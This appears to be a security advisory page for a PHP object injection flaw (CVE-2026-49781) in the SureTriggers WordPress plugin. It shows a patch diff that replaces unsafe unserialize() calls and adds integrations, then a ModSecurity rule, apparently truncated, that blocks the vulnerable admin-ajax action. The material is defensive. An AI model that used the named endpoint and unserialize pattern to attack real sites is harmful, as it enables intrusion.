+	}
 }


--- a/suretriggers/src/Controllers/WebhookRequestsController.php
+++ b/suretriggers/src/Controllers/WebhookRequestsController.php
@@ -144,10 +144,32 @@
 	 * @param string $data Request data.
 	 * @param int    $response_code Response Code.
 	 * @param string $error_info Error Info.
-	 *
+	 *
 	 * @return void
 	 */
 	public static function suretriggers_log_request( $data, $response_code, $error_info ) {
+		// Allow disabling logging via constant in wp-config.php.
+		if ( defined( 'SURETRIGGERS_DISABLE_LOGGING' ) && SURETRIGGERS_DISABLE_LOGGING ) {
+			return;
+		}
+
+		// Allow disabling logging via the Settings UI option.
+		if ( get_option( 'suretriggers_disable_request_logging', false ) ) {
+			return;
+		}
+
+		/**
+		 * Filter to disable webhook request logging programmatically.
+		 * Return false to stop logging.
+		 *
+		 * @param bool   $enable        Whether to log. Default true.
+		 * @param int    $response_code HTTP response code.
+		 * @param string $error_info    Error message if any.
+		 */
+		if ( ! apply_filters( 'suretriggers_enable_request_logging', true, $response_code, $error_info ) ) {
+			return;
+		}
+
 		global $wpdb;
 		// Store the data in request logs.
 		$wpdb->insert(
--- a/suretriggers/src/Integrations/CluevoLms/actions/assign-user-to-course.php
+++ b/suretriggers/src/Integrations/CluevoLms/actions/assign-user-to-course.php
@@ -0,0 +1,121 @@
+<?php
+/**
+ * AssignUserToCourse.
+ * php version 5.6
+ *
+ * @category AssignUserToCourse
+ * @package  SureTriggers
+ * @author   BSF <username@example.com>
+ * @license  https://www.gnu.org/licenses/gpl-3.0.html GPLv3
+ * @link     https://www.brainstormforce.com/
+ * @since    1.0.0
+ */
+
+namespace SureTriggersIntegrationsCluevoLmsActions;
+
+use SureTriggersIntegrationsAutomateAction;
+use SureTriggersIntegrationsCluevoLmsCluevoLms;
+use SureTriggersTraitsSingletonLoader;
+
+/**
+ * AssignUserToCourse
+ *
+ * @category AssignUserToCourse
+ * @package  SureTriggers
+ * @author   BSF <username@example.com>
+ * @license  https://www.gnu.org/licenses/gpl-3.0.html GPLv3
+ * @link     https://www.brainstormforce.com/
+ * @since    1.0.0
+ */
+class AssignUserToCourse extends AutomateAction {
+
+	/**
+	 * Integration type.
+	 *
+	 * @var string
+	 */
+	public $integration = 'CluevoLms';
+
+	/**
+	 * Action name.
+	 *
+	 * @var string
+	 */
+	public $action = 'cluevo_assign_user_to_course';
+
+	use SingletonLoader;
+
+	/**
+	 * Register an action.
+	 *
+	 * @param array $actions actions.
+	 * @return array
+	 */
+	public function register( $actions ) {
+		$actions[ $this->integration ][ $this->action ] = [
+			'label'    => __( 'Assign User to Course', 'suretriggers' ),
+			'action'   => $this->action,
+			'function' => [ $this, 'action_listener' ],
+		];
+
+		return $actions;
+	}
+
+	/**
+	 * Action listener.
+	 *
+	 * @param int   $user_id         WordPress user ID.
+	 * @param int   $automation_id   Automation ID.
+	 * @param array $fields          Action field definitions.
+	 * @param array $selected_options Selected options.
+	 *
+	 * @return array
+	 */
+	public function _action_listener( $user_id, $automation_id, $fields, $selected_options ) {
+		if ( ! function_exists( 'cluevo_add_user_perms_to_item' ) ||
+			! function_exists( 'cluevo_is_lms_user' ) ||
+			! function_exists( 'cluevo_make_lms_user' ) ) {
+			return [
+				'status'  => 'error',
+				'message' => __( 'CLUEVO LMS functions are not available.', 'suretriggers' ),
+			];
+		}
+
+		if ( empty( $user_id ) ) {
+			return [
+				'status'  => 'error',
+				'message' => __( 'User not found.', 'suretriggers' ),
+			];
+		}
+
+		$item_id = isset( $selected_options['cluevo_item_id'] ) ? (int) $selected_options['cluevo_item_id'] : 0;
+
+		if ( empty( $item_id ) ) {
+			return [
+				'status'  => 'error',
+				'message' => __( 'No CLUEVO course/item selected.', 'suretriggers' ),
+			];
+		}
+
+		if ( ! cluevo_is_lms_user( $user_id ) ) {
+			$made = cluevo_make_lms_user( $user_id );
+			if ( false === $made ) {
+				return [
+					'status'  => 'error',
+					'message' => __( 'Could not create CLUEVO LMS user record.', 'suretriggers' ),
+				];
+			}
+		}
+
+		// Level 1 = learner read access. Uses ON DUPLICATE KEY UPDATE so safe to call repeatedly.
+		cluevo_add_user_perms_to_item( $item_id, $user_id, 1 );
+
+		return array_merge(
+			CluevoLms::get_user_context( $user_id ),
+			CluevoLms::get_item_context( $item_id ),
+			[ 'access_granted' => true ]
+		);
+	}
+}
+
+AssignUserToCourse::get_instance();
--- a/suretriggers/src/Integrations/CluevoLms/cluevo-lms.php
+++ b/suretriggers/src/Integrations/CluevoLms/cluevo-lms.php
@@ -0,0 +1,102 @@
+<?php
+/**
+ * CluevoLms core integrations file
+ *
+ * @since   1.0.0
+ * @package SureTrigger
+ */
+
+namespace SureTriggersIntegrationsCluevoLms;
+
+use SureTriggersControllersIntegrationsController;
+use SureTriggersIntegrationsIntegrations;
+use SureTriggersTraitsSingletonLoader;
+
+/**
+ * Class CluevoLms
+ *
+ * @package SureTriggersIntegrationsCluevoLms
+ */
+class CluevoLms extends Integrations {
+
+	use SingletonLoader;
+
+	/**
+	 * ID
+	 *
+	 * @var string
+	 */
+	protected $id = 'CluevoLms';
+
+	/**
+	 * SureTrigger constructor.
+	 */
+	public function __construct() {
+		$this->name        = __( 'CLUEVO LMS', 'suretriggers' );
+		$this->description = __( 'A WordPress LMS with native SCORM support.', 'suretriggers' );
+		$this->icon_url    = SURE_TRIGGERS_URL . 'assets/icons/cluevo-lms.png';
+		parent::__construct();
+	}
+
+	/**
+	 * Returns context data for a learning structure item.
+	 *
+	 * @param int $item_id The CLUEVO tree item ID.
+	 * @return array
+	 */
+	public static function get_item_context( $item_id ) {
+		if ( ! function_exists( 'cluevo_get_lms_item_list' ) ) {
+			return [ 'cluevo_item_id' => $item_id ];
+		}
+
+		$items = cluevo_get_lms_item_list();
+		if ( ! is_array( $items ) ) {
+			return [ 'cluevo_item_id' => $item_id ];
+		}
+
+		foreach ( $items as $item ) {
+			if ( (int) $item->item_id === (int) $item_id ) {
+				return [
+					'cluevo_item_id'   => $item->item_id,
+					'cluevo_item_name' => $item->name,
+					'cluevo_item_path' => $item->path,
+				];
+			}
+		}
+
+		return [ 'cluevo_item_id' => $item_id ];
+	}
+
+	/**
+	 * Returns standard WP user context.
+	 *
+	 * @param int $user_id WordPress user ID.
+	 * @return array
+	 */
+	public static function get_user_context( $user_id ) {
+		$user = get_userdata( (int) $user_id );
+		if ( ! $user instanceof WP_User ) {
+			return [];
+		}
+
+		return [
+			'user_id'      => $user->ID,
+			'user_email'   => $user->user_email,
+			'display_name' => $user->display_name,
+			'user_login'   => $user->user_login,
+			'first_name'   => $user->first_name,
+			'last_name'    => $user->last_name,
+		];
+	}
+
+	/**
+	 * Is Plugin depended plugin is installed or not.
+	 *
+	 * @return bool
+	 */
+	public function is_plugin_installed() {
+		return class_exists( 'Cluevo' );
+	}
+}
+
+IntegrationsController::register( CluevoLms::class );
--- a/suretriggers/src/Integrations/advanced-forms/advanced-forms.php
+++ b/suretriggers/src/Integrations/advanced-forms/advanced-forms.php
@@ -0,0 +1,52 @@
+<?php
+/**
+ * AdvancedForms core integrations file
+ *
+ * @since   1.0.0
+ * @package SureTrigger
+ */
+
+namespace SureTriggersIntegrationsAdvancedForms;
+
+use SureTriggersControllersIntegrationsController;
+use SureTriggersIntegrationsIntegrations;
+use SureTriggersTraitsSingletonLoader;
+
+/**
+ * Class SureTrigger
+ *
+ * @package SureTriggersIntegrationsAdvancedForms
+ */
+class AdvancedForms extends Integrations {
+
+	use SingletonLoader;
+
+	/**
+	 * ID
+	 *
+	 * @var string
+	 */
+	protected $id = 'AdvancedForms';
+
+	/**
+	 * SureTrigger constructor.
+	 */
+	public function __construct() {
+		$this->name        = __( 'Advanced Forms for ACF', 'suretriggers' );
+		$this->description = __( 'Advanced Forms for ACF lets you create powerful front-end forms using Advanced Custom Fields.', 'suretriggers' );
+		$this->icon_url    = SURE_TRIGGERS_URL . 'assets/icons/advanced-forms.svg';
+		parent::__construct();
+	}
+
+	/**
+	 * Is Plugin depended plugin is installed or not.
+	 *
+	 * @return bool
+	 */
+	public function is_plugin_installed() {
+		return function_exists( 'af' );
+	}
+
+}
+
+IntegrationsController::register( AdvancedForms::class );
--- a/suretriggers/src/Integrations/advanced-forms/triggers/form-submitted.php
+++ b/suretriggers/src/Integrations/advanced-forms/triggers/form-submitted.php
@@ -0,0 +1,140 @@
+<?php
+/**
+ * FormSubmitted.
+ * php version 5.6
+ *
+ * @category FormSubmitted
+ * @package  SureTriggers
+ * @author   BSF <username@example.com>
+ * @license  https://www.gnu.org/licenses/gpl-3.0.html GPLv3
+ * @link     https://www.brainstormforce.com/
+ * @since    1.0.0
+ */
+
+namespace SureTriggersIntegrationsAdvancedFormsTriggers;
+
+use SureTriggersControllersAutomationController;
+use SureTriggersTraitsSingletonLoader;
+
+if ( ! class_exists( 'FormSubmitted' ) ) :
+
+	/**
+	 * FormSubmitted
+	 *
+	 * @category FormSubmitted
+	 * @package  SureTriggers
+	 * @author   BSF <username@example.com>
+	 * @license  https://www.gnu.org/licenses/gpl-3.0.html GPLv3
+	 * @link     https://www.brainstormforce.com/
+	 * @since    1.0.0
+	 *
+	 * @psalm-suppress UndefinedTrait
+	 */
+	class FormSubmitted {
+
+		/**
+		 * Integration type.
+		 *
+		 * @var string
+		 */
+		public $integration = 'AdvancedForms';
+
+		/**
+		 * Trigger name.
+		 *
+		 * @var string
+		 */
+		public $trigger = 'advanced_forms_form_submitted';
+
+		use SingletonLoader;
+
+		/**
+		 * Constructor
+		 *
+		 * @since  1.0.0
+		 */
+		public function __construct() {
+			add_filter( 'sure_trigger_register_trigger', [ $this, 'register' ] );
+		}
+
+		/**
+		 * Register action.
+		 *
+		 * @param array $triggers trigger data.
+		 * @return array
+		 */
+		public function register( $triggers ) {
+			$triggers[ $this->integration ][ $this->trigger ] = [
+				'label'         => __( 'Form Submitted', 'suretriggers' ),
+				'action'        => $this->trigger,
+				'common_action' => 'af/form/submission',
+				'function'      => [ $this, 'trigger_listener' ],
+				'priority'      => 10,
+				'accepted_args' => 3,
+			];
+
+			return $triggers;
+		}
+
+		/**
+		 * Trigger listener
+		 *
+		 * @param array $form   Form settings array including key and title.
+		 * @param array $fields Submitted field data indexed by field key.
+		 * @param array $args   Arguments passed to the form render function.
+		 * @since 1.0.0
+		 *
+		 * @return void
+		 */
+		public function trigger_listener( $form, $fields, $args ) {
+			if ( empty( $form ) ) {
+				return;
+			}
+
+			$user_id = get_current_user_id();
+
+			$context               = [];
+			$context['form_key']   = isset( $form['key'] ) ? $form['key'] : '';
+			$context['form_title'] = isset( $form['title'] ) ? $form['title'] : '';
+			$context['post_id']    = isset( $args['post_id'] ) ? (int) $args['post_id'] : 0;
+
+			if ( is_array( $fields ) ) {
+				foreach ( $fields as $field ) {
+					if ( ! is_array( $field ) ) {
+						continue;
+					}
+
+					$label = isset( $field['label'] ) ? $field['label'] : '';
+					$key   = isset( $field['name'] ) ? $field['name'] : '';
+
+					if ( '' === $key ) {
+						continue;
+					}
+
+					$value = isset( $field['value'] ) ? $field['value'] : '';
+
+					if ( '' !== $label ) {
+						$context[ $label ] = $value;
+					} else {
+						$context[ $key ] = $value;
+					}
+				}
+			}
+			AutomationController::sure_trigger_handle_trigger(
+				[
+					'trigger'    => $this->trigger,
+					'wp_user_id' => $user_id,
+					'context'    => $context,
+				]
+			);
+		}
+	}
+
+	/**
+	 * Ignore false positive
+	 *
+	 * @psalm-suppress UndefinedMethod
+	 */
+	FormSubmitted::get_instance();
+
+endif;
--- a/suretriggers/src/Integrations/appointment-hour-booking/triggers/booking-status-updated.php
+++ b/suretriggers/src/Integrations/appointment-hour-booking/triggers/booking-status-updated.php
@@ -95,8 +95,13 @@
 					$id
 				)
 			); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
-			$posted_data = unserialize( $events[0]->posted_data );
-			$context     = $posted_data;
+			$posted_data = st_safe_unserialize( $events[0]->posted_data );
+
+			if ( ! is_array( $posted_data ) ) {
+				return;
+			}
+
+			$context = $posted_data;

 			AutomationController::sure_trigger_handle_trigger(
 				[
--- a/suretriggers/src/Integrations/buddyboss/Triggers/user-account-activated.php
+++ b/suretriggers/src/Integrations/buddyboss/Triggers/user-account-activated.php
@@ -107,7 +107,7 @@
 			$context = get_object_vars( $context );
 			unset( $context['activation_key'] );
 			if ( is_string( $context['meta'] ) ) {
-				$context['meta'] = unserialize( $context['meta'] );
+				$context['meta'] = st_safe_unserialize( $context['meta'] );
 			}
 			if ( is_array( $context['meta'] ) ) {
 				unset( $context['meta']['password'] );
--- a/suretriggers/src/Integrations/fluent-boards/triggers/stage-changed.php
+++ b/suretriggers/src/Integrations/fluent-boards/triggers/stage-changed.php
@@ -91,14 +91,17 @@
 			if ( empty( $task ) || ! is_object( $task ) || empty( $old_stage_id ) ) {
 				return;
 			}
-
-
+
+			if ( method_exists( $task, 'load' ) && class_exists( 'FluentBoardsProAppServicesConstant' ) ) {
+				$task->load( 'customFields' );
+			}
+
 			$context = [
-				'task'         => $task,
-				'old_stage_id' => $old_stage_id,
-
+				'task'          => $task,
+				'old_stage_id'  => $old_stage_id,
+				'custom_fields' => $this->parse_custom_fields( $task ),
 			];
-
+
 			AutomationController::sure_trigger_handle_trigger(
 				[
 					'trigger' => $this->trigger,
@@ -106,6 +109,45 @@
 				]
 			);
 		}
+
+		/**
+		 * Parse custom fields into a clean key-value format.
+		 *
+		 * @param object $task Task object with customFields loaded.
+		 * @return array
+		 */
+		private function parse_custom_fields( $task ) {
+			if ( ! method_exists( $task, 'relationLoaded' ) || ! $task->relationLoaded( 'customFields' ) ) {
+				return [];
+			}
+			if ( ! method_exists( $task, 'getRelation' ) ) {
+				return [];
+			}
+
+			$loaded_fields = $task->getRelation( 'customFields' );
+			if ( empty( $loaded_fields ) ) {
+				return [];
+			}
+
+			$result = [];
+			foreach ( $loaded_fields as $field ) {
+				$raw_pivot      = isset( $field->pivot->settings ) ? maybe_unserialize( $field->pivot->settings ) : [];
+				$pivot_settings = is_array( $raw_pivot ) ? $raw_pivot : [];
+				$field_settings = isset( $field->settings ) && is_array( $field->settings )
+					? $field->settings
+					: [];
+
+				$result[] = [
+					'id'    => $field->id,
+					'title' => $field->title,
+					'slug'  => $field->slug,
+					'type'  => isset( $field_settings['custom_field_type'] ) ? $field_settings['custom_field_type'] : '',
+					'value' => isset( $pivot_settings['value'] ) ? $pivot_settings['value'] : '',
+				];
+			}
+
+			return $result;
+		}
 	}

 	/**
--- a/suretriggers/src/Integrations/formidable-forms/triggers/formidable-form-submit.php
+++ b/suretriggers/src/Integrations/formidable-forms/triggers/formidable-form-submit.php
@@ -105,12 +105,7 @@
 				foreach ( $metas as $meta ) {
 					$field_id   = $meta->field_id;
 					$field_name = $wpdb->get_var( $wpdb->prepare( 'SELECT name FROM ' . $wpdb->prefix . 'frm_fields WHERE id=%d', $field_id ) );
-					$meta_data  = unserialize( $meta->meta_value );
-					if ( false !== $meta_data ) {
-						$data_val = unserialize( $meta->meta_value );
-					} else {
-						$data_val = $meta->meta_value;
-					}
+					$data_val   = st_safe_unserialize( $meta->meta_value );
 					if ( is_array( $data_val ) ) {
 						foreach ( $data_val as $key => $val ) {
 							$data[ $key ] = $val;
--- a/suretriggers/src/Integrations/formidable-forms/triggers/user-updates-entry-in-form.php
+++ b/suretriggers/src/Integrations/formidable-forms/triggers/user-updates-entry-in-form.php
@@ -104,12 +104,7 @@
 				foreach ( $metas as $meta ) {
 					$field_id   = $meta->field_id;
 					$field_name = $wpdb->get_var( $wpdb->prepare( 'SELECT name FROM ' . $wpdb->prefix . 'frm_fields WHERE id=%d', $field_id ) );
-					$meta_data  = unserialize( $meta->meta_value );
-					if ( false !== $meta_data ) {
-						$data_val = unserialize( $meta->meta_value );
-					} else {
-						$data_val = $meta->meta_value;
-					}
+					$data_val   = st_safe_unserialize( $meta->meta_value );
 					if ( is_array( $data_val ) ) {
 						foreach ( $data_val as $key => $val ) {
 							$data[ $key ] = $val;
--- a/suretriggers/src/Integrations/groups-itthinx/actions/add-user-to-group.php
+++ b/suretriggers/src/Integrations/groups-itthinx/actions/add-user-to-group.php
@@ -0,0 +1,128 @@
+<?php
+/**
+ * AddUserToGroupItthinx.
+ * php version 5.6
+ *
+ * @category AddUserToGroupItthinx
+ * @package  SureTriggers
+ * @author   BSF <username@example.com>
+ * @license  https://www.gnu.org/licenses/gpl-3.0.html GPLv3
+ * @link     https://www.brainstormforce.com/
+ * @since    1.0.0
+ */
+
+namespace SureTriggersIntegrationsGroupsItthinxActions;
+
+use SureTriggersIntegrationsAutomateAction;
+use SureTriggersIntegrationsWordPressWordPress;
+use SureTriggersTraitsSingletonLoader;
+
+/**
+ * AddUserToGroupItthinx
+ *
+ * @category AddUserToGroupItthinx
+ * @package  SureTriggers
+ * @author   BSF <username@example.com>
+ * @license  https://www.gnu.org/licenses/gpl-3.0.html GPLv3
+ * @link     https://www.brainstormforce.com/
+ * @since    1.0.0
+ */
+class AddUserToGroupItthinx extends AutomateAction {
+
+	/**
+	 * Integration type.
+	 *
+	 * @var string
+	 */
+	public $integration = 'GroupsItthinx';
+
+	/**
+	 * Action name.
+	 *
+	 * @var string
+	 */
+	public $action = 'groups_itthinx_add_user_to_group';
+
+	use SingletonLoader;
+
+	/**
+	 * Register action.
+	 *
+	 * @param array $actions actions.
+	 * @return array
+	 */
+	public function register( $actions ) {
+		$actions[ $this->integration ][ $this->action ] = [
+			'label'    => __( 'Add User to Group', 'suretriggers' ),
+			'action'   => $this->action,
+			'function' => [ $this, 'action_listener' ],
+		];
+		return $actions;
+	}
+
+	/**
+	 * Action listener.
+	 *
+	 * @param int   $user_id          User ID.
+	 * @param int   $automation_id    Automation ID.
+	 * @param array $fields           Fields.
+	 * @param array $selected_options Selected options.
+	 * @psalm-suppress UndefinedMethod
+	 *
+	 * @return array|bool|void
+	 */
+	public function _action_listener( $user_id, $automation_id, $fields, $selected_options ) {
+		if ( ! class_exists( 'Groups_User_Group' ) ) {
+			return [
+				'status'  => 'error',
+				'message' => __( 'Groups plugin is not active.', 'suretriggers' ),
+			];
+		}
+
+		if ( empty( $user_id ) ) {
+			return [
+				'status'  => 'error',
+				'message' => __( 'User not found.', 'suretriggers' ),
+			];
+		}
+
+		$group_id = isset( $selected_options['groups_itthinx_group_id'] ) ? absint( $selected_options['groups_itthinx_group_id'] ) : 0;
+
+		if ( empty( $group_id ) ) {
+			return [
+				'status'  => 'error',
+				'message' => __( 'Group ID is required.', 'suretriggers' ),
+			];
+		}
+
+		$result = Groups_User_Group::create(
+			[
+				'user_id'  => $user_id,
+				'group_id' => $group_id,
+			]
+		);
+
+		if ( ! $result ) {
+			return [
+				'status'  => 'error',
+				'message' => __( 'Failed to add user to group. The user may already be a member.', 'suretriggers' ),
+			];
+		}
+
+		$context = WordPress::get_user_context( $user_id );
+
+		$context['group_id'] = $group_id;
+
+		if ( class_exists( 'Groups_Group' ) ) {
+			$group = Groups_Group::read( $group_id );
+			if ( $group ) {
+				$context['group_name']        = isset( $group->name ) ? $group->name : '';
+				$context['group_description'] = isset( $group->description ) ? $group->description : '';
+			}
+		}
+
+		return $context;
+	}
+}
+
+AddUserToGroupItthinx::get_instance();
--- a/suretriggers/src/Integrations/groups-itthinx/actions/remove-user-from-group.php
+++ b/suretriggers/src/Integrations/groups-itthinx/actions/remove-user-from-group.php
@@ -0,0 +1,123 @@
+<?php
+/**
+ * RemoveUserFromGroupItthinx.
+ * php version 5.6
+ *
+ * @category RemoveUserFromGroupItthinx
+ * @package  SureTriggers
+ * @author   BSF <username@example.com>
+ * @license  https://www.gnu.org/licenses/gpl-3.0.html GPLv3
+ * @link     https://www.brainstormforce.com/
+ * @since    1.0.0
+ */
+
+namespace SureTriggersIntegrationsGroupsItthinxActions;
+
+use SureTriggersIntegrationsAutomateAction;
+use SureTriggersIntegrationsWordPressWordPress;
+use SureTriggersTraitsSingletonLoader;
+
+/**
+ * RemoveUserFromGroupItthinx
+ *
+ * @category RemoveUserFromGroupItthinx
+ * @package  SureTriggers
+ * @author   BSF <username@example.com>
+ * @license  https://www.gnu.org/licenses/gpl-3.0.html GPLv3
+ * @link     https://www.brainstormforce.com/
+ * @since    1.0.0
+ */
+class RemoveUserFromGroupItthinx extends AutomateAction {
+
+	/**
+	 * Integration type.
+	 *
+	 * @var string
+	 */
+	public $integration = 'GroupsItthinx';
+
+	/**
+	 * Action name.
+	 *
+	 * @var string
+	 */
+	public $action = 'groups_itthinx_remove_user_from_group';
+
+	use SingletonLoader;
+
+	/**
+	 * Register action.
+	 *
+	 * @param array $actions actions.
+	 * @return array
+	 */
+	public function register( $actions ) {
+		$actions[ $this->integration ][ $this->action ] = [
+			'label'    => __( 'Remove User from Group', 'suretriggers' ),
+			'action'   => $this->action,
+			'function' => [ $this, 'action_listener' ],
+		];
+		return $actions;
+	}
+
+	/**
+	 * Action listener.
+	 *
+	 * @param int   $user_id          User ID.
+	 * @param int   $automation_id    Automation ID.
+	 * @param array $fields           Fields.
+	 * @param array $selected_options Selected options.
+	 * @psalm-suppress UndefinedMethod
+	 *
+	 * @return array|bool|void
+	 */
+	public function _action_listener( $user_id, $automation_id, $fields, $selected_options ) {
+		if ( ! class_exists( 'Groups_User_Group' ) ) {
+			return [
+				'status'  => 'error',
+				'message' => __( 'Groups plugin is not active.', 'suretriggers' ),
+			];
+		}
+
+		if ( empty( $user_id ) ) {
+			return [
+				'status'  => 'error',
+				'message' => __( 'User not found.', 'suretriggers' ),
+			];
+		}
+
+		$group_id = isset( $selected_options['groups_itthinx_group_id'] ) ? absint( $selected_options['groups_itthinx_group_id'] ) : 0;
+
+		if ( empty( $group_id ) ) {
+			return [
+				'status'  => 'error',
+				'message' => __( 'Group ID is required.', 'suretriggers' ),
+			];
+		}
+
+		$result = Groups_User_Group::delete( $user_id, $group_id );
+
+		if ( ! $result ) {
+			return [
+				'status'  => 'error',
+				'message' => __( 'Failed to remove user from group. The user may not be a member.', 'suretriggers' ),
+			];
+		}
+
+		$context = WordPress::get_user_context( $user_id );
+
+		$context['group_id'] = $group_id;
+
+		if ( class_exists( 'Groups_Group' ) ) {
+			$group = Groups_Group::read( $group_id );
+			if ( $group ) {
+				$context['group_name']        = isset( $group->name ) ? $group->name : '';
+				$context['group_description'] = isset( $group->description ) ? $group->description : '';
+			}
+		}
+
+		return $context;
+	}
+}
+
+RemoveUserFromGroupItthinx::get_instance();
--- a/suretriggers/src/Integrations/groups-itthinx/groups-itthinx.php
+++ b/suretriggers/src/Integrations/groups-itthinx/groups-itthinx.php
@@ -0,0 +1,52 @@
+<?php
+/**
+ * GroupsItthinx integration class file
+ *
+ * @package  SureTriggers
+ * @since 1.0.0
+ */
+
+namespace SureTriggersIntegrationsGroupsItthinx;
+
+use SureTriggersControllersIntegrationsController;
+use SureTriggersIntegrationsIntegrations;
+use SureTriggersTraitsSingletonLoader;
+
+/**
+ * Class GroupsItthinx
+ *
+ * @package SureTriggersIntegrationsGroupsItthinx
+ */
+class GroupsItthinx extends Integrations {
+
+	use SingletonLoader;
+
+	/**
+	 * ID of the integration
+	 *
+	 * @var string
+	 */
+	protected $id = 'GroupsItthinx';
+
+	/**
+	 * SureTrigger constructor.
+	 */
+	public function __construct() {
+		$this->name        = __( 'Groups by itthinx', 'suretriggers' );
+		$this->description = __( 'Group-based user membership management and content access control.', 'suretriggers' );
+		$this->icon_url    = SURE_TRIGGERS_URL . 'assets/icons/groups-itthinx.svg';
+
+		parent::__construct();
+	}
+
+	/**
+	 * Check plugin is installed.
+	 *
+	 * @return bool
+	 */
+	public function is_plugin_installed() {
+		return class_exists( 'Groups_Group' );
+	}
+}
+
+IntegrationsController::register( GroupsItthinx::class );
--- a/suretriggers/src/Integrations/groups-itthinx/triggers/group-created.php
+++ b/suretriggers/src/Integrations/groups-itthinx/triggers/group-created.php
@@ -0,0 +1,120 @@
+<?php
+/**
+ * GroupCreatedItthinx.
+ * php version 5.6
+ *
+ * @category GroupCreatedItthinx
+ * @package  SureTriggers
+ * @author   BSF <username@example.com>
+ * @license  https://www.gnu.org/licenses/gpl-3.0.html GPLv3
+ * @link     https://www.brainstormforce.com/
+ * @since    1.0.0
+ */
+
+namespace SureTriggersIntegrationsGroupsItthinxTriggers;
+
+use SureTriggersControllersAutomationController;
+use SureTriggersTraitsSingletonLoader;
+
+if ( ! class_exists( 'GroupCreatedItthinx' ) ) :
+
+	/**
+	 * GroupCreatedItthinx
+	 *
+	 * @category GroupCreatedItthinx
+	 * @package  SureTriggers
+	 * @author   BSF <username@example.com>
+	 * @license  https://www.gnu.org/licenses/gpl-3.0.html GPLv3
+	 * @link     https://www.brainstormforce.com/
+	 * @since    1.0.0
+	 *
+	 * @psalm-suppress UndefinedTrait
+	 */
+	class GroupCreatedItthinx {
+
+		/**
+		 * Integration type.
+		 *
+		 * @var string
+		 */
+		public $integration = 'GroupsItthinx';
+
+		/**
+		 * Trigger name.
+		 *
+		 * @var string
+		 */
+		public $trigger = 'groups_itthinx_group_created';
+
+		use SingletonLoader;
+
+		/**
+		 * Constructor
+		 *
+		 * @since  1.0.0
+		 */
+		public function __construct() {
+			add_filter( 'sure_trigger_register_trigger', [ $this, 'register' ] );
+		}
+
+		/**
+		 * Register trigger.
+		 *
+		 * @param array $triggers triggers.
+		 * @return array
+		 */
+		public function register( $triggers ) {
+			$triggers[ $this->integration ][ $this->trigger ] = [
+				'label'         => __( 'Group Created', 'suretriggers' ),
+				'action'        => $this->trigger,
+				'common_action' => 'groups_created_group',
+				'function'      => [ $this, 'trigger_listener' ],
+				'priority'      => 10,
+				'accepted_args' => 1,
+			];
+
+			return $triggers;
+		}
+
+		/**
+		 * Trigger listener
+		 *
+		 * @param mixed $group_id Group ID.
+		 * @return void
+		 */
+		public function trigger_listener( $group_id ) {
+			if ( empty( $group_id ) || ! is_numeric( $group_id ) ) {
+				return;
+			}
+
+			$group_id = (int) $group_id;
+			$context  = [
+				'group_id' => $group_id,
+			];
+
+			if ( class_exists( 'Groups_Group' ) ) {
+				$group = Groups_Group::read( $group_id );
+				if ( $group ) {
+					$context['group_name']        = isset( $group->name ) ? $group->name : '';
+					$context['group_description'] = isset( $group->description ) ? $group->description : '';
+					$context['group_datetime']    = isset( $group->datetime ) ? $group->datetime : '';
+				}
+			}
+
+			AutomationController::sure_trigger_handle_trigger(
+				[
+					'trigger' => $this->trigger,
+					'context' => $context,
+				]
+			);
+		}
+	}
+
+	/**
+	 * Ignore false positive
+	 *
+	 * @psalm-suppress UndefinedMethod
+	 */
+	GroupCreatedItthinx::get_instance();
+
+endif;
--- a/suretriggers/src/Integrations/groups-itthinx/triggers/user-added-to-group.php
+++ b/suretriggers/src/Integrations/groups-itthinx/triggers/user-added-to-group.php
@@ -0,0 +1,119 @@
+<?php
+/**
+ * UserAddedToGroup.
+ * php version 5.6
+ *
+ * @category UserAddedToGroup
+ * @package  SureTriggers
+ * @author   BSF <username@example.com>
+ * @license  https://www.gnu.org/licenses/gpl-3.0.html GPLv3
+ * @link     https://www.brainstormforce.com/
+ * @since    1.0.0
+ */
+
+namespace SureTriggersIntegrationsGroupsItthinxTriggers;
+
+use SureTriggersControllersAutomationController;
+use SureTriggersIntegrationsWordPressWordPress;
+use SureTriggersTraitsSingletonLoader;
+
+if ( ! class_exists( 'UserAddedToGroupItthinx' ) ) :
+
+	/**
+	 * UserAddedToGroupItthinx
+	 *
+	 * @category UserAddedToGroupItthinx
+	 * @package  SureTriggers
+	 * @author   BSF <username@example.com>
+	 * @license  https://www.gnu.org/licenses/gpl-3.0.html GPLv3
+	 * @link     https://www.brainstormforce.com/
+	 * @since    1.0.0
+	 *
+	 * @psalm-suppress UndefinedTrait
+	 */
+	class UserAddedToGroupItthinx {
+
+		/**
+		 * Integration type.
+		 *
+		 * @var string
+		 */
+		public $integration = 'GroupsItthinx';
+
+		/**
+		 * Trigger name.
+		 *
+		 * @var string
+		 */
+		public $trigger = 'groups_itthinx_user_added_to_group';
+
+		use SingletonLoader;
+
+		/**
+		 * Constructor
+		 *
+		 * @since  1.0.0
+		 */
+		public function __construct() {
+			add_filter( 'sure_trigger_register_trigger', [ $this, 'register' ] );
+		}
+
+		/**
+		 * Register trigger.
+		 *
+		 * @param array $triggers triggers.
+		 * @return array
+		 */
+		public function register( $triggers ) {
+			$triggers[ $this->integration ][ $this->trigger ] = [
+				'label'         => __( 'User Added to Group', 'suretriggers' ),
+				'action'        => $this->trigger,
+				'common_action' => 'groups_created_user_group',
+				'function'      => [ $this, 'trigger_listener' ],
+				'priority'      => 10,
+				'accepted_args' => 2,
+			];
+
+			return $triggers;
+		}
+
+		/**
+		 * Trigger listener
+		 *
+		 * @param int $user_id  User ID.
+		 * @param int $group_id Group ID.
+		 * @return void
+		 */
+		public function trigger_listener( $user_id, $group_id ) {
+			if ( empty( $user_id ) || empty( $group_id ) ) {
+				return;
+			}
+
+			$context             = WordPress::get_user_context( (int) $user_id );
+			$context['group_id'] = (int) $group_id;
+
+			if ( class_exists( 'Groups_Group' ) ) {
+				$group = Groups_Group::read( (int) $group_id );
+				if ( $group ) {
+					$context['group_name']        = isset( $group->name ) ? $group->name : '';
+					$context['group_description'] = isset( $group->description ) ? $group->description : '';
+				}
+			}
+
+			AutomationController::sure_trig

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-49781
# Blocks PHP object injection via SureTriggers global_search AJAX handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202649781,phase:2,deny,status:403,chain,msg:'CVE-2026-49781 - Unauthenticated PHP Object Injection via SureTriggers global_search',severity:'CRITICAL',tag:'CVE-2026-49781'"
  SecRule ARGS_POST:action "@streq suretriggers_global_search" "chain"
